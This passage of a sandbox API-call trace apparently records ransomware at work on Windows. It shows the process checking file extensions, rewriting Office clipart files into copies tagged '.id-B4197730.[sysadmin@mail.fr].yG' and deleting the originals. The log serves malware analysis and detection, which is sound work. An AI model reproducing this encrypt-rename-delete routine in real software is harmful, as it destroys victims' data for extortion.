	[0150.733] lstrlenW (lpString=".ppt") returned 4
	[0150.733] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.733] lstrlenW (lpString=".zip") returned 4
	[0150.733] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.733] lstrlenW (lpString=".rar") returned 4
	[0150.733] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.733] lstrlenW (lpString=".bz2") returned 4
	[0150.733] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.733] lstrlenW (lpString=".7z") returned 3
	[0150.733] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.733] lstrlenW (lpString=".dbf") returned 4
	[0150.733] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.733] lstrlenW (lpString=".1cd") returned 4
	[0150.733] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67
	[0150.734] lstrlenW (lpString=".jpg") returned 4
	[0150.734] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.734] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.734] lstrlenW (lpString="NBOOK_01.MID") returned 12
	[0150.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.738] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=5968) returned 1
	[0150.738] CloseHandle (hObject=0x51c) returned 1
	[0150.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220
	[0150.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.739] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.739] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0150.740] GetLastError () returned 0x0
	[0150.740] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x1750, lpOverlapped=0x0) returned 1
	[0150.756] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1760, lpOverlapped=0x0) returned 1
	[0150.758] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.758] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.758] SetEndOfFile (hFile=0x52c) returned 1
	[0150.758] CloseHandle (hObject=0x52c) returned 1
	[0150.758] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.758] SetEndOfFile (hFile=0x51c) returned 1
	[0150.762] CloseHandle (hObject=0x51c) returned 1
	[0150.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1
	[0150.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.763] lstrlenW (lpString=".doc") returned 4
	[0150.763] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.763] lstrlenW (lpString=".docx") returned 5
	[0150.763] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.763] lstrlenW (lpString=".pdf") returned 4
	[0150.764] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.764] lstrlenW (lpString=".xls") returned 4
	[0150.764] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.764] lstrlenW (lpString=".xlsx") returned 5
	[0150.764] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.764] lstrlenW (lpString=".ppt") returned 4
	[0150.764] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.764] lstrlenW (lpString=".zip") returned 4
	[0150.764] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.764] lstrlenW (lpString=".rar") returned 4
	[0150.764] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.764] lstrlenW (lpString=".bz2") returned 4
	[0150.764] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.764] lstrlenW (lpString=".7z") returned 3
	[0150.764] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.764] lstrlenW (lpString=".dbf") returned 4
	[0150.764] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.764] lstrlenW (lpString=".1cd") returned 4
	[0150.764] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.764] lstrlenW (lpString=".jpg") returned 4
	[0150.764] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.765] lstrlenW (lpString=".doc") returned 4
	[0150.765] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.765] lstrlenW (lpString=".docx") returned 5
	[0150.765] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.765] lstrlenW (lpString=".pdf") returned 4
	[0150.765] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.765] lstrlenW (lpString=".xls") returned 4
	[0150.765] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.765] lstrlenW (lpString=".xlsx") returned 5
	[0150.765] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.765] lstrlenW (lpString=".ppt") returned 4
	[0150.765] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.765] lstrlenW (lpString=".zip") returned 4
	[0150.765] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.765] lstrlenW (lpString=".rar") returned 4
	[0150.765] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.765] lstrlenW (lpString=".bz2") returned 4
	[0150.765] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.765] lstrlenW (lpString=".7z") returned 3
	[0150.765] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.765] lstrlenW (lpString=".dbf") returned 4
	[0150.765] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.765] lstrlenW (lpString=".1cd") returned 4
	[0150.765] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68
	[0150.765] lstrlenW (lpString=".jpg") returned 4
	[0150.766] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.766] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.766] lstrlenW (lpString="OUTDR_01.MID") returned 12
	[0150.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.767] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=6644) returned 1
	[0150.767] CloseHandle (hObject=0x51c) returned 1
	[0150.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220
	[0150.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.768] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.768] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0150.769] GetLastError () returned 0x0
	[0150.769] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x19f4, lpOverlapped=0x0) returned 1
	[0151.021] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1a00, lpOverlapped=0x0) returned 1
	[0151.062] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.062] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.062] SetEndOfFile (hFile=0x52c) returned 1
	[0151.062] CloseHandle (hObject=0x52c) returned 1
	[0151.063] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.063] SetEndOfFile (hFile=0x51c) returned 1
	[0151.066] CloseHandle (hObject=0x51c) returned 1
	[0151.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1
	[0151.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.433] lstrlenW (lpString=".doc") returned 4
	[0151.433] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.433] lstrlenW (lpString=".docx") returned 5
	[0151.433] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.433] lstrlenW (lpString=".pdf") returned 4
	[0151.433] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.433] lstrlenW (lpString=".xls") returned 4
	[0151.433] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.433] lstrlenW (lpString=".xlsx") returned 5
	[0151.433] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.433] lstrlenW (lpString=".ppt") returned 4
	[0151.433] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.433] lstrlenW (lpString=".zip") returned 4
	[0151.433] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.434] lstrlenW (lpString=".rar") returned 4
	[0151.434] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.434] lstrlenW (lpString=".bz2") returned 4
	[0151.434] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.434] lstrlenW (lpString=".7z") returned 3
	[0151.434] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.434] lstrlenW (lpString=".dbf") returned 4
	[0151.434] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.434] lstrlenW (lpString=".1cd") returned 4
	[0151.434] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.434] lstrlenW (lpString=".jpg") returned 4
	[0151.434] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.434] lstrlenW (lpString=".doc") returned 4
	[0151.434] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.434] lstrlenW (lpString=".docx") returned 5
	[0151.434] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0151.434] lstrlenW (lpString=".pdf") returned 4
	[0151.434] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.434] lstrlenW (lpString=".xls") returned 4
	[0151.434] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.434] lstrlenW (lpString=".xlsx") returned 5
	[0151.435] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0151.435] lstrlenW (lpString=".ppt") returned 4
	[0151.435] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.435] lstrlenW (lpString=".zip") returned 4
	[0151.435] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.435] lstrlenW (lpString=".rar") returned 4
	[0151.435] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.435] lstrlenW (lpString=".bz2") returned 4
	[0151.435] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.435] lstrlenW (lpString=".7z") returned 3
	[0151.435] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.435] lstrlenW (lpString=".dbf") returned 4
	[0151.435] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.435] lstrlenW (lpString=".1cd") returned 4
	[0151.435] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0151.435] lstrlenW (lpString=".jpg") returned 4
	[0151.435] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.435] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.436] lstrlenW (lpString="PARNT_10.MID") returned 12
	[0151.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.437] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=5393) returned 1
	[0151.437] CloseHandle (hObject=0x540) returned 1
	[0151.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220
	[0151.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0151.438] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.444] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0151.446] GetLastError () returned 0x0
	[0151.446] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x1511, lpOverlapped=0x0) returned 1
	[0151.465] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x1520, lpOverlapped=0x0) returned 1
	[0151.467] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.467] WriteFile (in: hFile=0x544, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.467] SetEndOfFile (hFile=0x544) returned 1
	[0151.467] CloseHandle (hObject=0x544) returned 1
	[0151.467] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.467] SetEndOfFile (hFile=0x540) returned 1
	[0151.470] CloseHandle (hObject=0x540) returned 1
	[0151.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1
	[0151.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.472] lstrlenW (lpString=".doc") returned 4
	[0151.472] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.472] lstrlenW (lpString=".docx") returned 5
	[0151.472] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0151.472] lstrlenW (lpString=".pdf") returned 4
	[0151.472] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.472] lstrlenW (lpString=".xls") returned 4
	[0151.472] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.472] lstrlenW (lpString=".xlsx") returned 5
	[0151.472] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0151.472] lstrlenW (lpString=".ppt") returned 4
	[0151.472] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.473] lstrlenW (lpString=".zip") returned 4
	[0151.473] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.473] lstrlenW (lpString=".rar") returned 4
	[0151.473] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.473] lstrlenW (lpString=".bz2") returned 4
	[0151.473] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.473] lstrlenW (lpString=".7z") returned 3
	[0151.473] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.473] lstrlenW (lpString=".dbf") returned 4
	[0151.473] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.473] lstrlenW (lpString=".1cd") returned 4
	[0151.473] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.473] lstrlenW (lpString=".jpg") returned 4
	[0151.473] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68
	[0151.474] lstrlenW (lpString=".doc") returned 4
	[0151.474] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.474] lstrlenW (lpString=".docx") returned 5
	[0151.474] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1
	[0151.474] lstrlenW (lpString=".pdf") returned 4
	[0151.474] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.474] lstrlenW (lpString=".xls") returned 4
	[0151.474] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.474] lstrlenW (lpString=".xlsx") returned 5
	[0151.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1
	[0151.474] lstrlenW (lpString=".ppt") returned 4
